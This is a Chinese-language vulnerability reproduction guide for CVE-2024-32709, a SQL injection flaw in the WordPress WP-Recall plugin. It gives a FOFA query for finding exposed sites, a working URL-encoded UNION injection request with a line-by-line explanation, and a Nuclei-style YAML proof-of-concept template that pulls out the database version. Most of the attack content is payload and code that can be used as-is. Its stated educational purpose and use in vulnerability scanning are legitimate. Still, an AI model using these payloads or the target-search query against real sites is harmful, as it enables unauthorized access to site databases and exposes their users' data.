声明:本文档或演示材料仅供教育和教学目的使用,任何个人或组织使用本文档中的信息进行非法活动,均与本文档的作者或发布者无关。
文章目录
- 漏洞描述
- 漏洞复现
- 测试工具
漏洞描述
WordPress是一款免费开源的内容管理系统(CMS),最初是一个博客平台,但后来发展成为一个功能强大的网站建设工具,适用于各种类型的网站,包括个人博客、企业网站、电子商务网站等,并逐步演化成一款内容管理系统软件。其插件WP-Recall
其插件存在account
存在SQL注入漏洞,攻击者可通过该漏洞获取数据库敏感信息。
漏洞复现
1)信息收集
fofa:"/wp-content/plugins/wp-recall/"
赢得了时间就是赢得了一切。
2)构造数据包
GET /account/?user=1&tab=groups&group-name=p%27+or+%27%%27=%27%%27+union+all+select+1,2,3,4,5,6,7,8,9,10,11,concat(%22Database:%22,md5(123456),0x7c),13--+- HTTP/1.1
Host:ip
payloud解释:
原始payload:
p%27+or+%27%%27=%27%%27+union+all+select+1,2,3,4,5,6,7,8,9,10,11,concat(%22Database:%22,md5(123456),0x7c),13--+-
解码后的payload(将URL编码转换为普通字符):
p'+or+''='+union all select 1,2,3,4,5,6,7,8,9,10,11,concat("Database:",md5(123456),0x7c),13--+-
分析:
p'
:这是一个SQL查询的一部分,其中p
是参数名,'
是单引号,用于闭合字符串。+or+
:在SQL语句中,OR
通常用于组合多个条件。这里使用+
作为URL编码的空格替代,or+
用来绕过某些输入过滤规则。''='
:这里使用了两个单引号和一个等号,尝试闭合SQL语句并开始一个新的条件。union all select
:UNION ALL
是SQL中的一个操作符,用于将多个SELECT
语句的结果合并为一个结果集。1,2,3,4,5,6,7,8,9,10,11
:这是一系列数字,用于占位或生成结果集中的列。concat("Database:",md5(123456),0x7c)
:CONCAT()
函数用于连接字符串,这里连接了"Database:"和md5(123456)
的输出,以及十六进制数0x7c
(ASCII中的竖线字符|
)。13--+-
:尝试混淆SQL语句,使得SQL引擎忽略后面的内容。md5(123456)
:e10adc3949ba59abbe56e057f20f883e
回显包含123456的md5值,漏洞存在。
页面也有回显!
测试工具
yaml-poc
id: CVE-2024-32709
info:
name: WP-Recall <= 16.26.5 - SQL Injection
author: securityforeveryone
severity: critical
description: |
The WP-Recall Registration, Profile, Commerce & More plugin for WordPress is vulnerable to SQL Injection in all versions up to, and including, 16.26.5 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.
remediation: Fixed in 16.26.6
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2024-32709
- https://github.com/truonghuuphuc/CVE-2024-32709-Poc
- https://patchstack.com/database/vulnerability/wp-recall/wordpress-wp-recall-plugin-16-26-5-sql-injection-vulnerability?_s_id=cve
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:L
cvss-score: 9.3
cve-id: CVE-2024-32709
cwe-id: CWE-89
epss-score: 0.00043
epss-percentile: 0.0866
metadata:
verified: true
max-request: 1
publicwww-query: "/wp-content/plugins/wp-recall/"
tags: cve,cve2024,wp-plugin,wp-recall,wordpress,wp,sqli
variables:
num: "999999999"
http:
- raw:
- |
GET /account/?user=1&tab=groups&group-name=p%27+or+%27%%27=%27%%27+union+all+select+1,2,3,4,5,6,7,8,9,10,11,concat(%22Database:%22,md5({{num}}),0x7c,%20%22Version:%22,version()),13--+- HTTP/1.1
Host: {{Hostname}}
matchers-condition: and
matchers:
- type: word
part: body
words:
- '{{md5(num)}}'
- type: status
status:
- 200
运行过程
在最平常的事情中都可以显示出一个人人格的伟大来!